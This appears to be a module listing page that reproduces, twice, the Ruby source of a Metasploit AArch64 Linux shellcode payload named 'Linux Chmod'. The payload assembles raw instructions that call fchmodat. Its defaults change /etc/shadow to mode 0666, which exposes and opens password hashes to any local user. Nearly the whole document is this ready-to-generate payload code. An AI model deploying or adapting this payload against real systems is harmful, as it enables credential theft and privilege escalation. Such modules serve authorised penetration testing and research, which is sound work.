Description
Runs chmod on the specified file with specified mode. Module Options msf use payload/linux/aarch64/chmod msf payloadchmod show actions ...actions... msf payloadchmod set ACTION msf payloadchmod show options ...show and set options... msf payloadchmod...
Basic Information
ID
MSF:PAYLOAD-LINUX-AARCH64-CHMOD-
Published
Jan 14, 2026 at 18:54
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 48
include Msf::Payload::Single
include Msf::Payload::Linux::Aarch64::Prepends
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Chmod',
'Description' => 'Runs chmod on the specified file with specified mode.',
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'References' => [
['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],
['URL', 'https://github.com/bcoles/shellcode/blob/main/aarch64/chmod/chmod.s'],
]
)
)
register_options([
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
])
end
# @return [String] the full path of the file to be modified
def chmod_file_path
datastore['FILE'] || ''
end
# @return [Integer] the desired mode for the file
def mode
(datastore['MODE'] || '0666').oct
rescue StandardError => e
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
end
# @return [Integer] AArch64 instruction to load mode into x2 register
# For example: 0xd28036c2 ; mov x2, #0x1b6 ; loads 0x1b6 (0o666) into x2
def chmod_instruction(mode)
(0xd2800000 | ((mode & 0xffff) << 5) | 2)
end
def generate(_opts = {})
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0x7FF)" if mode > 0x7FF
shellcode = [
0x92800c60, # mov x0, #0xffffffffffffff9c // #-100
0x10000101, # adr x1, 40009c <path>
chmod_instruction(mode), # mov x2, <mode>
0xd2800003, # mov x3, #0
0xd28006a8, # mov x8, #0x35 # __NR_fchmodat
0xd4000001, # svc #0
0xd2800000, # mov x0, #0
0xd2800ba8, # mov x8, #0x5d # __NR_exit
0xd4000001 # svc #0
].pack('V*')
shellcode += chmod_file_path + "\x00"
# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0
super.to_s + shellcode
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 48
include Msf::Payload::Single
include Msf::Payload::Linux::Aarch64::Prepends
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Chmod',
'Description' => 'Runs chmod on the specified file with specified mode.',
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'References' => [
['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],
['URL', 'https://github.com/bcoles/shellcode/blob/main/aarch64/chmod/chmod.s'],
]
)
)
register_options([
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
])
end
# @return [String] the full path of the file to be modified
def chmod_file_path
datastore['FILE'] || ''
end
# @return [Integer] the desired mode for the file
def mode
(datastore['MODE'] || '0666').oct
rescue StandardError => e
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
end
# @return [Integer] AArch64 instruction to load mode into x2 register
# For example: 0xd28036c2 ; mov x2, #0x1b6 ; loads 0x1b6 (0o666) into x2
def chmod_instruction(mode)
(0xd2800000 | ((mode & 0xffff) << 5) | 2)
end
def generate(_opts = {})
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0x7FF)" if mode > 0x7FF
shellcode = [
0x92800c60, # mov x0, #0xffffffffffffff9c // #-100
0x10000101, # adr x1, 40009c <path>
chmod_instruction(mode), # mov x2, <mode>
0xd2800003, # mov x3, #0
0xd28006a8, # mov x8, #0x35 # __NR_fchmodat
0xd4000001, # svc #0
0xd2800000, # mov x0, #0
0xd2800ba8, # mov x8, #0x5d # __NR_exit
0xd4000001 # svc #0
].pack('V*')
shellcode += chmod_file_path + "\x00"
# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0
super.to_s + shellcode
end
end